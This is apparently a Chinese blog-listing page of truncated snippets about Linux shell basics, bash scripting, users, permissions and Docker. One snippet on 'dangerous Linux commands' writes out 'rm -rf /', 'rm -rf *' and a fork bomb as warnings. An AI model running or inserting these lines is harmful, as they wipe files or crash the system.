文章目录1. 测试语法结构2. 文件测试判断文件是否存在判断文件是否可读、写、执行。3. 字符串测试4. 整数测试5. 逻辑测试符和逻辑运算符使用逻辑运算符去判断多逻辑运算符使用测试是判断命令的执行过程&#xff0c;返回0则判断为真&#xff0c;返回非0则判断为假。 1. 测试语法…

Linux学习笔记——Shell基础入门

Shell变量 定义变量时&#xff0c;变量名不加$&#xff08;美元符号&#xff09; 命名只能使用英文字母&#xff0c;数字和下划线&#xff0c;首个字符不能以数字开头中间不能有空格&#xff0c;可以使用下划线&#xff08;_&#xff09;不能使用标点符号不能使用bash里面的关…

Linux学习笔记——Shell编程概述

Shell名词概述 Kernel Linux的内核主要是和硬件打交道Shell 命令解释器&#xff08;command interpreter&#xff09;Shell是一个用C语言编写的程序Shell是一种应用程序&#xff0c;这个应用程序提供了一个界面&#xff0c;用户通过这个界面访问操作系统内核的服务Shell的两大…

-bash: java: command not found笔记

文章目录 场景解决方案找java的方法find命令进行查找根据java进程找寻具体位置 场景 linux系统执行java命令时报错&#xff1a; -bash: java: command not found。 解决方案 可能是没有安装java(这种情况比较少)或者安装了java但是没有设置环境变量(一般是这种情况)。 找ja…

Mac OS conda zsh 等问题

主要是解决一下Mac zsh的配置问题 这里因为是安装conda 之后碰到的&#xff0c;用conda举例子了 更新系统之后.bash_profile对zsh是不起作用的&#xff0c;而我又换成了默认是zsh的命令行 现在在~目录下有一个叫做.zshrc的文件 在zsh敲入 cd ~ ls -a sudo vim .bash_profi…

Linux | Job control

Linux | Job control 文章目录 Linux | Job control命令直接将命令丢到后台中“执行”的 &将当前工作丢到后台“暂停”&#xff1a;Ctrl z查看后台工作状态&#xff1a;jobs将后台工作拿到前台处理&#xff1a;fg让工作在后台下的状态变成运行中&#xff1a;bg管理后台工作…

ITerm2配色方案

iTerm是一款为Mac量身打造的替代原生终端的软件&#xff0c;支持各种个性化定制&#xff0c;当然也包括主题配色 今天下载了iTerm顺便做了下配色&#xff0c;遇到不少波折&#xff0c;还好最终都解决了在此做下记录 设置终端和ls可配色 终端输入vim ~/.bash_profile 添加如下…

Linux系统常用的2种切换用户命令

文章目录一、su命令二、sudo命令总结一、su命令 1、语法&#xff1a;&#xff08;英文全拼&#xff1a;switch user&#xff09; su [-fmp] [-c command] [-s shell] [--help] [--version] [-] [USER [ARG]]2、参数说明&#xff1a; -f或--fast&#xff1a;不必读启动档&…

Linux 使用笔记(本人出品,必属精品)

文章目录 Part.I IntroductionChap.I 快应用Chap.II 课程所学 Part.II 基础知识Chap.X 杂记 Part.I Introduction Linux 是笔者在大四上学期学的&#xff0c;当时授课的刘老师现在还能偶尔见到。但是平时一般用 Windows&#xff0c;有机会接触 Linux 一般是偶尔在服务器上跑跑程…

ios系统制作启动谷歌app脚本

由于开发需要使用谷歌跨域的版本 所以每次都是要用终端命令打开很麻烦 于是自己做了一个脚本 很好用 顺便分享给大家 首先你需要建一个文件 里面内容为 #! /bin/bash open -n /Applications/Google\ Chrome.app/ --args --disable-web-security --user-data-dir/Users/zuo…

linux 删除的文件太多:bash:/usr/bin/rm: Argument list too long

背景 删除一个文件夹内指定后缀的文件时&#xff0c;遇到错误。提示 bash:/usr/bin/rm: Argument list too long 。很明显是指定后缀的文件太多&#xff0c;导致无法删除 解决方案 通过命令find来进行删除&#xff0c;比如要删除所有的json文件。通过以下命令即可删除 find…

linux下tomcat监控自启动脚本

环境&#xff1a;redhat9.0 1、脚本如下&#xff1a;/root/cs.sh #!/bin/bashJAVA_HOME/root/jdk1.5.0_01CLASSPATH.:$JAVA_HOME/lib:$JAVA_HOME/jre/libPATH:$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATHexport JAVA_HOME CLASSPATH PATH BEGINTIME$(date %M)while truedoif […

4-Linux 进程组的精确理解和 Daemon进程

shell 进程&#xff1a; http://c.biancheng.net/view/739.html 为了验证 if you log into a machine, your shell starts a session from: https://blog.csdn.net/cpxsxn/article/details/107371177 rootrobert-Ubuntu:/tmp# ps -xjPPID PID PGID SID TTY TPGID S…

配置开机自启命令文件~/.bashrc、/etc/profile、/etc/bash.bashrc的异同(bashrc:Bash Run Commands)

文章目录相同点知识点bashrc是什么缩写&#xff1f;~是什么&#xff1f;启动顺序相同点 ~/.bashrc文件和/etc/profile以及/etc/bash.bashrc都是配置自动执行的命令的文件&#xff0c;可以用来在做相应操作时执行特定的命令。它们都是bash脚本文件&#xff0c;执行内容需要遵循…

shell 函数的使用

shell函数的定义规则&#xff0c;函数名&#xff0c;括号&#xff0c;花括号 函数名&#xff08;&#xff09;{###要执行的命令 }如下代码所示先定义一个函数块输出hello world 然后进行调用 sayhello() {echo "hello world" }sayhello 备注&#xff1a;函数中使用…

Linux——Bash脚本基本用法总结

文章目录基本语法基于语法awk&#xff08;分割命令返回值&#xff09;sed&#xff08;处理行内容&#xff09;融合正则指令条件语句条件判断符1. if2. while额外方法在脚本中使用命令行指令并获取返回值延时打印当前时间基本语法 基于语法 awk&#xff08;分割命令返回值&…

shell脚本的案例解读

shell脚本的案例解读 一、计算从1到100所有整数的和 方法一&#xff1a;for #!/bin/bash # sum0 for ((i1;i<100;i)) dosum$[$i$sum] doneecho "0-100的和为&#xff1a;" $sum二方法&#xff1a;while #!/bin/bash # i0 sum0 while [ $i -le 100 ] dosum$[$s…

SUMO用自带的生成随机车流错误,不可通行

optParser.add_option("--validate", defaultTrue, action"store_true",help"Whether to produce trip output that is already checked for connectivity")randomTrip.py里的这个选项改为true

Linux下shell显示-bash-4.2$ 不显示用户名@主机名

问题描述&#xff1a; Linux下shell显示-bash-4.2$ 不显示用户名主机名 解决办法 vi ~/.bash_profile添加一行&#xff1a; export PS1[\u\h \W]$保存关闭&#xff0c;然后执行&#xff1a; source ~/.bash_profile

Linux学习[18]bash学习深入4----命令执行的判断依据---【; , , ||】---用于一次性输入多指令情况

文章目录 前言判断符号 &#xff1b;判断符号 &&与||总结 前言 使用指令的时候&#xff0c;使用完一个指令之后&#xff0c;我想让它接着执行另一个指令&#xff0c;而非等A指令执行完之后再输入B指令。 为了实现这个效果&#xff0c;我查阅了相关资料&#xff0c;这里…

ip route show命令

文章目录列出路由表条目查找确定IP地址的路由包来源其他linux的ip命令和ifconfig类似&#xff0c;但前者功能更强大&#xff0c;并旨在取代后者。使用ip命令&#xff0c;只需一个命令&#xff0c;你就能很轻松地执行一些网络管理任务。ifconfig是net-tools中已被废弃使用的一个…

Shell基础语法——命令

内建命令&#xff08;内置命令&#xff09; 所谓 Shell 内建命令&#xff0c;就是由 Bash 自身提供的命令&#xff0c;而不是文件系统中的某个可执行文件。可以使用 type 来确定一个命令是否是内建命令。 通常来说&#xff0c;内建命令会比外部命令执行得更快&#xff0c;执行…

Linux实用指令记录

du Linux du&#xff08;英文全拼&#xff1a;disk usage&#xff09;命令用于显示目录或文件的大小。du 会显示指定的目录或文件所占用的磁盘空间。用例&#xff1a;当前路径/home/hzf/Voice/wespeaker-master$ du -h -d 1 371G ./examples 52K ./tools 280K ./run…

【Hello Linux】 Linux的权限以及Shell原理

作者&#xff1a;小萌新 专栏&#xff1a;Linux 作者简介&#xff1a;大二学生 希望能和大家一起进步&#xff01; 本篇博客简介&#xff1a;介绍Linux的基础命令 Linux的权限以及Shell原理Shell的运行原理权限Linux中权限的概念如何切换用户如何提升当前操作的权限如何添加信任…

Linux shell(connTest.sh) for jar test

Linux shell 脚本&#xff0c;循环解析命令行传入的所有参数&#xff0c;并按照不同的传参实现对不同的 java jar文件 进行测试执行。 [rootlocalhost demo]# cat connTest.sh #!/bin/bash# Linux shell for qftool java jar test# modes DEFAULT_MODE2jarfiles[1]common-1.0…

Shell基础 (一)

目录 一、关于shell 1、什么是shell&#xff1f; 2、shell入门 二、shell进阶&#xff08;重点&#xff09; 1、变量 2、条件判读语句 3、运算符 一、关于shell 1、什么是shell&#xff1f; Shell&#xff08;外壳&#xff09;是一个用C语言编写的程序&#xff0c;它是用…

【Linux基础】常用命令整理

ls命令 -a选项&#xff0c;可以展示隐藏的文件和文件夹-l选项&#xff0c;以列表形式展示内容-h&#xff0c;需要和-l搭配使用&#xff0c;可以展示文件的大小单位ls -lah等同于la -a -l -h cd命令&#xff08;change directory&#xff09; 语法&#xff1a;cd [Linux路径]…

ubuntu/debian切换shell(dash/bash)

查看shell默认类型 ls -l /bin/sh //ubuntu默认如下 lrwxrwxrwx 1 root root 4 Dec 9 2021 /bin/sh -> dash 什么是dash&#xff1f; dash (Debian Almquist Shell) Debian和Ubuntu中&#xff0c;/bin/sh默认指向dash&#xff0c;这是一个不同于bash的shell&#xff…

【Linux编程Shell自动化脚本】01 Shell 变量、条件语句及常用概念操作等详解

文章目录 一、简介二、变量详解1. 系统变量 三、If条件语句1. ()、(())、[]、[[]]、let和test的区别&#xff08;1&#xff09;bash中的Compound Commands&#xff08;2&#xff09;Shell Builtin Commands&#xff08;3&#xff09;Arithmetic Evaluation&#xff08;4&#x…

【编程实践】Bash Scripting with ChatGPT: Highlight Syntax使用 ChatGPT 编写 Bash 脚本:突出显示语法

目录 Bash Scripting with ChatGPT: Highlight Syntax使用 ChatGPT 编写 Bash 脚本:突出显示语法 Experiment with ChatGPT Bash scripting试用 ChatGPT Bash 脚本 Modify the code with ChatGPT 用 ChatGPT 修改代码 Debug with ChatGPT 使用 ChatGPT 进行调试 Bash Scrip…

论Shell编程规范与变量

目录 一&#xff1a;shell脚本 1.shell概述 2.linux中包含的常用shell 3.shell脚本概述 4.shell脚本应用场景 5.shell脚本的作用 6.用户的登录shell 二&#xff1a; 编写脚本 1.脚本的基本格式 2.shell脚本的执行 3. 交互式硬件设备 4.重定向操作 5.管道操作符号 “…

3.8 shell函数

目录 基本语法&#xff1a; name是函数名&#xff1b; 函数调用格式&#xff1a; 变量的作用域 基本语法&#xff1a; function name() { statements [return value] } function是 Shell 中的关键字&#xff0c;专门用来定义函数&#xff1b; name是函数名&#xff1b;…

Linux命令集(Linux文件管理命令--mv指令篇)

Linux命令集&#xff08;Linux文件管理命令--mv指令篇&#xff09; Linux文件管理命令集&#xff08;mv指令篇&#xff09;2. mv(move)1. 文件移动2. 递归移动目录3. 文件目录重命名4. 强制移动5. 备份覆盖的目标文件6. 试探性移动7. 显示移动进度8. 补集操作9. 修改文件的权限…

shell(3) 数组

定义数组 在Shell中&#xff0c;用括号来表示数组&#xff0c;数组元素用“空格”符号分割开。定义数组的一般形式为&#xff1a; #!/bin/bash array_name(value1 value1 valuen)#或者 array_name1( value1 value2 ) 数组相关操作#!/bin/basharray_name(value0 value1 value2…

shell(2) 运算符

参考&#xff1a;Shell运算符&#xff1a;Shell算数运算符、关系运算符、布尔运算符、字符串运算符等_C语言中文网算术运算符通过expr实现 - * /运算 a10 b20 valexpr $a $b echo "a b : $val"valexpr $a - $b echo "a - b : $val"valexpr $a \* $b echo…

Linux虚拟机正确关机方法

目录 1.观察系统的使用状态&#xff1a; 2.正确关机指令&#xff1a;shutdown 3.其他重要指令 说明&#xff1a;在Linux下每个程序或服务都是在背景下执行的&#xff0c;因此在你自己的屏幕下其实可能会有很多人再你的电脑上工作&#xff0c;例如&#xff1a;别人浏览网页&am…

Linux危险命令

rm -rf 命令 该命令可能导致不可恢复的系统崩坏。 rm -rf / #强制删除根目录下所有东西。rm -rf * #强制删除当前目录的所有文件。rm -rf . #强制删除当前文件夹及其子文件夹。fork 炸弹 :() { :|:& };:不太好理解可以转换成 bomb() {bomb|bomb& }; bomb一旦执行…

bash shell 基础命令

章节目录&#xff1a; 一、浏览文件系统1.1 Linux 文件系统1.2 遍历目录 二、列出文件和目录三、处理文件3.1 创建文件3.2 复制文件3.3 命令行补全3.4 链接文件3.5 文件重命名3.6 删除文件 四、管理目录4.1 创建目录4.2 删除目录 五、查看文件内容5.1 查看文件类型5.2 查看整个…

sudo unable to open read-only file system”的原因

此错误是由多种原因引起的&#xff0c;包括&#xff1a; 文件系统不一致。文件系统配置错误&#xff08;/etc/fstab 文件中的错误条目&#xff09;。由于各种原因&#xff08;包括突然断电或电缆损坏&#xff09;导致系统意外或突然关闭。在某些情况下&#xff0c;Windows 的双…

#include <archive.h>报错

#include <archive.h>报错 archive配置 Linux环境下&#xff0c;在C项目.cpp文件中存在如下语句&#xff0c;导致无法运行~ #include <archive.h> #include <archive_entry.h>由于C编译器默认不包含archive&#xff0c;所以我们需要自行配置。 Libarchiv…

Linux:shell之编程免交互

Linux&#xff1a;shell之编程免交互 一、Here Document 免交互1.1 Here Document 免交互概述1.2 语法格式1.3 操作 二、Expect 命令2.1 Expect 概述2.2 基本命令2.3 操作 一、Here Document 免交互 1.1 Here Document 免交互概述 使用I/O重定向的方式将命令列表提供给交互式…

跟散仙学shell命令(五)

今天散仙&#xff0c;要说的&#xff0c;是关于linux中的环境变量的使用&#xff0c;环境变量是用来存储有关shell会话和工作环境的信息&#xff0c;它允许在内存中访问存储数据&#xff0c;以便运行在shell上的程序和脚本访问。在最常用的bash shell里&#xff0c;环境变量共分…

状态文件部署prometheus

状态文件部署prometheus [rootmaster srv]# tree . └── salt├── base│ ├── apache.sls│ ├── top.sls│ └── web│ └── apache│ ├── apache.sls│ └── install.sls├── dev├── pillar│ ├── base│ │…

Dockerfile使用alpine制作haproxy镜像

[rootmaster file]# wget http://download.openpkg.org/components/cache/haproxy/haproxy-2.4.0.tar.gz --2021-12-12 21:46:40-- http://download.openpkg.org/components/cache/haproxy/haproxy-2.4.0.tar.gz 正在解析主机 download.openpkg.org (download.openpkg.org)...…

Dockerfile文件编译安装haproxy

[rootmaster files]# wget http://download.openpkg.org/components/cache/haproxy/haproxy-2.4.0.tar.gz --2021-12-10 23:17:31-- http://download.openpkg.org/components/cache/haproxy/haproxy-2.4.0.tar.gz 正在解析主机 download.openpkg.org (download.openpkg.org)..…

Linux就该这么学:RAID与LVM磁盘阵列技术

这里写目录标题 7.1.1 部署磁盘阵列7.1.2 损坏磁盘阵列及修复7.1.3 磁盘阵列+备份盘7.1.4 删除磁盘阵列1. 需要将所有的磁盘都设置成停用状态:2. 逐一移除出去3. 续停用整个RAID磁盘阵列7.2 LVM逻辑卷管理器7.2.1 部署逻辑卷7.2.2 扩容逻辑卷7.2.3 缩小逻辑卷7.2.4 逻辑卷快照…

feh 设置多屏随机壁纸

feh 设置多屏随机壁纸编写脚本 多个屏幕独立切换随机壁纸 #!/bin/sh while true; do# ~/mywallpapers/T5是我存放壁纸的文件夹&#xff0c;换成你自己的feh --bg-fill --no-fehbg --randomize ~/mywallpapers/T5# 每15秒自动切换壁纸sleep 15 done多个屏幕设置静态壁纸 #!/bin/…

linux总结-------BASH Shell(2)

连续指令的下达方式&#xff1a; 这里需要再提几个重要的信息&#xff0c;我们刚刚上面提过说&#xff0c;两个指令先后写在一起&#xff0c;可以这样写&#xff1a;   command1; command2利用分号『 ; 』来分隔&#xff0c;这个分号的意思&#xff0c;代表不论 command1 执行…

Ubuntu20.04安装WineHQ-8.0

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录前言一、WineHQ是什么&#xff1f;二、准备工作1.准备工作2.增加源密钥3.增加源地址三、开始安装1.更新源缓存2.安装总结前言 最近切换到Ubuntu20.04作为办公主力机…

(二十五)、实现评论功能(5)【uniapp+uinicloud多用户社区博客实战项目(完整开发文档-从零到完整项目)】

1&#xff0c;实现二级回复的入库操作 1.1 两个子组件&#xff08;comment-item和comment-frame&#xff09;与父组件reply之间的属性传值 comment-item&#xff1a; props: {item: {type: Object,default () {return {}}}},comment-frame&#xff1a; props: {commentObj: {…

处理用户输入

shell脚本编程系列 传递参数 向shell脚本传递数据的最简单方法是使用命令行参数 比如 ./add 10 30读取参数 bash shell会将所有的命令行参数都指派给位置参数的特殊变量。其中$0对应脚本名、$1是第一个参数、$2是第二个参数&#xff0c;依次类推&#xff0c;直到$9 #!/bin/b…

Linux 最有用的命令–man info 帮助命令

获取帮助的能力决定了技术的能力&#xff01; 一些帮助方式&#xff1a; whatis COMMAND –help man COMMAND info COMMAND /usr/share/doc Red Hat documentation 一些强大的所搜引擎和网站 whatis 显示命令的简短描述 每晚使…

RHCE(五)

目录 一.判断当前磁盘剩余空间是否有20G&#xff0c;如果小于20G&#xff0c;则将报警邮件发送给管理员&#xff0c;每天检查一次磁盘剩余空间 1.创建脚本test1.sh 2.下载邮件服务并执行 3.测试 4.做计划任务 二.判断web服务是否运行&#xff08;1、查看进程的方式判断该程…

Ubuntu安装GCC 3.4

Ubuntu安装GCC 3.4一、背景二、安装三、总结一、背景 因最近学习hit-os编译linux 0.11版本内核&#xff0c;需要使用到gcc 3.4&#xff0c;故此记录。 二、安装 # 下载deb包 wget http://old-releases.ubuntu.com/ubuntu/pool/universe/g/gcc-3.4/cpp-3.4_3.4.6-6ubuntu3_am…

编写top脚本kill掉占用CPU过高的进程

编写top脚本kill掉占用CPU过高的进程一、命令二、shell脚本三、总结一、命令 top -b 批处理模式&#xff0c;适合文本处理 -c 命令行&#xff0c;显示完整命令和程序名 -n 迭代次数&#xff0c;即捕获刷新次数 -o 指定排序的列&#xff0c;或-表示降序或升序 -p 指定进程ID gr…

重启测试 - 检测日志

重启测试 - 检测日志一、背景二、Bash Script三、总结一、背景 检测log的关键字&#xff0c;判断程序是否异常。 正常情况下继续重启&#xff0c;异常情况停止脚本。 二、Bash Script #!/bin/bash echo "start" cd /appPath i0 while [ $i -lt 1 ]; docat /appLog…

delete files exclude

方法1: shopt -s extglob rm -rf !(file1 | file2)方法2: # xargs用于从 标准输入获得参数 # grep -v表示反向选择 ls | grep -v file1 | xargs rm # 删除file1以外的文件 rm ls | grep -v "file1" # 删除 file1 file2 file3 以外的文件 rm ls | grep -vE "f…

【Linux】Shell运行原理及Linux权限的概念

文章目录一、Shell运行原理二、Linux权限的概念1&#xff09;Linux中的用户2&#xff09;Linux权限管理1、文件访问者的分类&#xff08;人&#xff09;2、文件的权限&#xff08;事物属性&#xff09;① 文件类型② 文件基本权限④ 【拓展】文件各属性列含义3、文件权限值的表…

快速在VSCode中创建多文件多目录C++项目

对于轻量级的VSCode编辑器&#xff0c;我想像使用那些IDE一样&#xff0c;通过简单的几步就能构建出自己的项目文件树&#xff0c;类似于下面的结构。所以特地写了一个脚本&#xff0c;用于自动创建一个基本的项目。 . ├── Headers │ └── test.hpp ├── makefile ├…

test 等价 [

专有命令[ ( 左中括号, 特殊字符). 这个命令与test命令等价, 并且出于效率上的考虑, 这是一个内建命令. 这个命令把它的参数作为比较表达式或者作为文件测试, 并且根据比较的结 果来返回一个退出状态码(0 表示真, 1表示假). if test condition-true结构与if [ condition-true …

Shell常用脚本:新建user01-user20用户,要求密码是随机6位数,密码取值范围a-zA-Z0-9,要求密码不能只单一的数字或小写或大写字母

createUser20.sh #!/bin/bashtempFile$(mktemp tempFile.XXX) tempResultFile$(mktemp user_result_XXX.txt)# 获取a-zA-Z0-9组成的6位字符密码 strings的作用是将前面输入的字符转成可读字符 cat /dev/urandom | strings -n 6 | egrep ^[a-zA-Z0-9]{6}$ | head -20 > $te…

Linux mtools命令

Linux mtools命令用于显示mtools支持的指令。 mtools为MS-DOS文件系统的工具程序&#xff0c;可模拟许多MS-DOS的指令。这些指令都是mtools的符号连接&#xff0c;因此会有一些共同的特性。 语法 mtools参数说明&#xff1a; -a  长文件名重复时自动更改目标文件的长文件名…

“晨曦记账本:筛选特定时间段内的借款信息,管理更轻松!“

晨曦记账本&#xff0c;为您的财务记录带来前所未有的便捷&#xff01;现在&#xff0c;我们推出了一项新功能&#xff0c;让您能够轻松筛选特定时间段内的借款信息。这不仅让您更轻松地管理借款记录&#xff0c;还能确保您的财务数据一目了然。 首先&#xff0c;我们要打开晨…

16.Linux Bash Shell通过`read`命令读取用户输入

文章目录 Linux Shell获取用户输入处理简单输入控制等待隐藏输入从文件中读取 欢迎访问个人网络日志&#x1f339;&#x1f339;知行空间&#x1f339;&#x1f339; Linux Shell获取用户输入 处理简单输入 shell与用户交互式输入使用的是read命令&#xff0c;一个简单的例子…

Shell常用脚本:监控本机内存使用率

文章目录方案1 free命令方案2 /proc/meminfo文件#mermaid-svg-s0j2OhIWSAHCQIIk .label{font-family:trebuchet ms, verdana, arial;font-family:var(--mermaid-font-family);fill:#333;color:#333}#mermaid-svg-s0j2OhIWSAHCQIIk .label text{fill:#333}#mermaid-svg-s0j2Oh…

【Linux】解决切换用户出现bash-4.2$问题创建普通用户并设置密码、授权

【问题描述】 linux中创建了一个wxh用户&#xff0c;然后使用su命令切换用户后&#xff0c;终端提示符显示成“bash-4.2$”而不是[rootlocalhost wxh]#&#xff0c;导致ll等命令无法执行。 [rootlocalhost xhh]# su wxh bash-4.2$ ll bash: ll: 未找到命令 【原因】 没有在hom…

[SXT][MSB]Linux学习整理

boot sequence (import) 1.load bios(hardware informantion)2.read MBRs config to find out the OS 硬盘上的数据由五大部分组成&#xff0c;它们分别是&#xff1a;MBR区、DBR区&#xff0c;FAT区&#xff0c;DIR区和DATA区。 MBR - Main Boot Record 主引导记录区,位于整…

source与./执行脚本文件的区别

source命令用法&#xff1a;   source FileName   作用:在当前bash环境下读取并执行FileName中的命令。该filename文件可以无"执行权限" 注&#xff1a;该命令通常用命令“.”来替代。 如&#xff1a;source .bash_profile . .bash_profile两者等效。 source(或点…

bash programming

tutorial BashPitfallsBashGuideBashSheetThe Bash Hackers WikiLinux Shell Scripting Tutorial (LSST) v2.0shell脚本学习材料 coding style Google Shell Style GuideBash Style Guide

Linux CentOS7 系统中添加用户

在linux centOS7系统中&#xff0c;添加用户是管理员的基本操作。作为学习linux系统的基本操作&#xff0c;对添加用户应该多方面了解。 添加用户的命令useradd&#xff0c;跟上用户名&#xff0c;就可以快速创建一个用户。添加一些选项&#xff0c;可以设置更人性化的用户信息…

虚拟机Centos7 clone 模拟多服务器 nacos集群部署,以及踩坑

文章目录前言一、结构图二、步骤1. clone虚拟机&#xff0c;修改网卡1.1 克隆成功之后&#xff0c;先查看网卡是什么名字&#xff0c;我这里的网卡是ens331.2 编辑网卡,修改出独立的ip2. 下载nacos,nginx包2.安装nginx3. 执行nacos myql脚本4.部署nacos集群&#xff0c;每个服务…

linux下shell编程print与printf的区别

1&#xff0c;print是ksh的内置命令&#xff0c;而printf是bash的内置命令 2&#xff0c;print 中不能使用%s ,%d 或%c&#xff1b; 3&#xff0c;print 自动换行&#xff0c;printf 没有自动换行。 比如下面脚本的输出&#xff1a; [rootlocalhost ex04]# vim test.sh #!…

bash命令——linux command

bash命令——linux command 1. Linux下的命令结构2. 重点命令学习2.1 基础命令2.2 文件操作2.3 文件权限2.4 目录操作2.5 环境变量2.6 进程信息2.7 grep命令2.8 awk命令2.9 cut命令2.10 bc命令2.11 sort命令 3. 其他知识点3.1 批量执行某条命令3.2 windows下载数据3.3 创建shel…

shell基础篇:Bash特性和shell变量

shell基础篇 一、Bash特性bash基础特性关于历史记录的简单用法bash特性汇总 二、shell变量变量含义shell变量名规则定义shell变量变量替换/引⽤变量的作⽤域 一、Bash特性 bash基础特性 ● bash是一 个命令处理器&#xff0c;运行在文本窗口中&#xff0c;并能执行用户直接输…

【windows软件】terminal软件添加git bash 命令行功能

在terminal软件添加新的控制台程序一般需要更改软件的json配置文件。 json文件内容大致如下&#xff1a; 之前曾经借鉴了一篇文章&#xff0c;在list中添加如下代码&#xff1a; { "commandline": "C:\\Program Files\\Git\\git\\bash.exe", "gui…

-bash: ~/anaconda3/bin/python:Invalid argument 问题解决

在anconda的虚拟环境中出现&#xff1a; -bash: ~/anaconda3/bin/python:Invalid argument方法一 如何解决&#xff1a; conda activate base conda install anaconda conda update --all方法二 pip install python或 conda install python

使用 OpenSSL 工具撰写 Bash 脚本进行密码明文的加密与解密

使用 OpenSSL 工具进行密码明文的加密与解密 Written By: Xinyao Tian 简介 本文档描述了使用 OpenSSL 工具在 Bash 脚本中对密码进行加密和解密的简单方式。 BASE64 的加密与解密脚本 使用 Base64 算法进行密码的加密 脚本名称为 encryptPasswd.sh, 脚本内容如下: #!/b…

收集linux主机信息脚本

收集主机CPU、内存、磁盘、负载等信息 #!/bin/bash echo -e "\033[32m \033[1m" echo 主机信息 ip_infoifconfig |grep inet| head -1 |awk {print $2} cpu_info1cat /proc/cpuinfo |grep model name | tail -1 |awk -F: {print $2} | sed s/^//g |awk {print $1,$3…

shell 知:bash

文章目录1. 介绍1.1. 为什么使用shell编程1.2. Sha-Bang&#xff08;#!&#xff09;2. 基本2.1. 特殊字符2.1.1. 特殊字符2.1.2. 控制字符2.1.3. 空白2.2. 变量和参数2.2.1. 变量替换2.2.2. 变量赋值2.2.3. Bash变量是不区分类型的2.2.4. 特殊的变量类型2.2.4.1. 局部变量2.2.4…

shell 知:外部命令

文章目录1. 介绍2. 外部过滤器&#xff0c;程序和命令2.1. 基本命令2.1.1. ls2.1.2. cat&#xff0c;tac2.1.3. rev2.1.4. cp2.1.5. mv2.1.6. rm2.1.7. rmdir2.1.8. mkdir2.1.9. chmod2.1.10. chattr2.1.11. ln2.1.12. man&#xff0c;info2.2. 复杂命令2.2.1. find2.2.2. xarg…

如何使用Git Bash将本地的压缩包上传至服务器并解压

如何使用Git Bash将本地的压缩包上传至服务器 第一步&#xff1a; 在需要上传的压缩包的文件夹内点击右键&#xff0c;然后点击Git Bash Here。 第二步&#xff1a; 输入执行命令&#xff1a; scp raiden-v2.0.0-linux-x86_64.tar.gz xxx10.xx.xxx.xxx:yuzhe上传压缩包的命…

Anaconda添加源,安装第三方库,镜像安装等一系列问题

解决 ERROR: Could not find a version that satisfies the requirement xxx 的问题 出现这个问题的原因是python国内网络不稳定&#xff0c;直接导致报错。因此我们常用镜像源来解决此问题 pip install 包名 -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.…

linux 查看用户的uid和gid

1.可以通过查看/etc/passwd文件来确定自己的uid和gid cat /etc/passwd | grep 你的用户名 例子&#xff1a; aaaaaa:~/桌面$ cat /etc/passwd |grep aaa aaa:X:1000:1000:aaa,:/home/aaa:/bin/bash 其中x后面的两个数就是uid和gid了&#xff0c;这里uid是1000,gid也是1000 2.…

嵌入式攻城狮 I Linux基础

一、操作系统概述 1.励志公式 2.什么是OS&#xff1f; 3.不同领域的主流操作系统 4.虚拟机 5.操作系统发展简史 转存失败重新上传取消二、Linux与Windows对比 1、Windows与Linux的关系 当前主流的操作系统&#xff1a;Windows、Android、iOS、Linux/UnixWindows&#xff1a;…

Shell判断:模式匹配:case(二)

简单的JumpServer 1、需求&#xff1a;工作中&#xff0c;我们需要管理N多个服务器。那么访问服务器就是一件繁琐的事情。通过shell编程&#xff0c;编写跳板程序。当我们需要访问服务器时&#xff0c;看一眼服务器列表名&#xff0c;按一下数字&#xff0c;就登录成功了。 2、…

centos安装了curl却报 -bash: curl: command not found

前因 我服务器上想用curl下载docker-compress&#xff0c;发现没有curl命令&#xff0c;就去下载安装&#xff0c;安装完成之后&#xff0c;报-bash: curl: command not found 解决方法 [rootcentos ~]# rpm -e --nodeps curl warning: file /usr/bin/curl: remove failed: …

21. 常用shell之 chmod - 更改文件权限 的用法和衍生用法

chmod 是一个在 Unix 和类 Unix 系统&#xff08;如 Linux 和 macOS&#xff09;中用于更改文件或目录权限的命令。理解 chmod 的基本用法和衍生用法对于管理系统文件和保护数据安全非常重要。 基本用法 在 Unix 和类 Unix 系统中&#xff0c;文件和目录的访问权限被分为三类…

STDIN 文件描述符

STDIN文件描述符代表shell的标准输入。对终端界面来说&#xff0c;标准输入是键盘。shell从STDIN文件描述符对应的键盘获得输入&#xff0c;在用户输入时处理每个字符。 在使用输入重定向符号&#xff08;<&#xff09;时&#xff0c;Linux会用重定向指定的文件来替换标准输…

Shell常用脚本:防火墙开闭端口、查看端口开闭状态、所有对外开放的端口

sh firewallUtil.sh open 端口号 sh firewallUtil.sh close 端口号 sh firewallUtil.sh check 端口号 sh firewallUtil.sh listfirewallUtil.sh脚本 #!/bin/bash# 开启端口 openPort () {if [ ! $1 ]; thenecho 请输入需要开启的端口&#xff0c;请检查exit 1fiportStatus$(fi…

Shell常用脚本:Frp内网穿透服务启动、关闭、重启、查看状态

使用 # 使用# 启动 sh frps.sh start sh frps.sh stop sh frps.sh restart sh frps.sh statusfrps.sh脚本 frps.sh脚本作为服务进行运行 # 将frps.sh脚本作为服务进行运行 # 1. frps.sh的头3行注释添加下面3行 #!/bin/bash # #description: 内网穿透服务工具 #chkconfig:2345…

Bash脚本15分钟进阶教程

这里的技术技巧最初是来自谷歌的“Testing on the Toilet” (TOTT)。这里是一个修订和扩增版本。 脚本安全 我的所有bash脚本都以下面几句为开场白&#xff1a; #!/bin/bashset -o nounsetset -o errexit 这样做会避免两种常见的问题&#xff1a; 引用未定义的变量(缺省值为“”…

Linux工具--date命令使用介绍

1、date简介 date命令主要是在Linux系统中可以用来显示或设定系统的日期与时间。 2、命令详解 语法&#xff1a; date [OPTION]... [FORMAT] date [-u] [-d datestr] [-s datestr] [--utc] [--universal] [--datedatestr] [--setdatestr] [--help] [--version] [FORMAT] [M…

linux命令就应该这样记(带索引超详细)

Linux命令大全 1、帮助命令&#xff1a; help命令只能显示shell内部命令的帮助信息&#xff0c;而linux系统中绝大多数命令是外部命令&#xff0c;所以help命令的作用非常有限。 而对于外部命令的帮助信息可以使man命令或者info命令查看。 (1) help&#xff1a;显示shell内…

Hive 服务管理脚本

#!/bin/bash HIVE_HOME/opt/software/hive-3.1.3 HIVE_LOG_HOME/opt/software/hive-3.1.3/logfunction checkLogDir {if [[ ! -e ${HIVE_LOG_HOME} ]]; thenecho "${HIVE_LOG_HOME} 目录不存在&#xff0c;正在创建。"mkdir -p ${HIVE_LOG_HOME}fi }function checkHi…

两个bash函数创建一个数据库

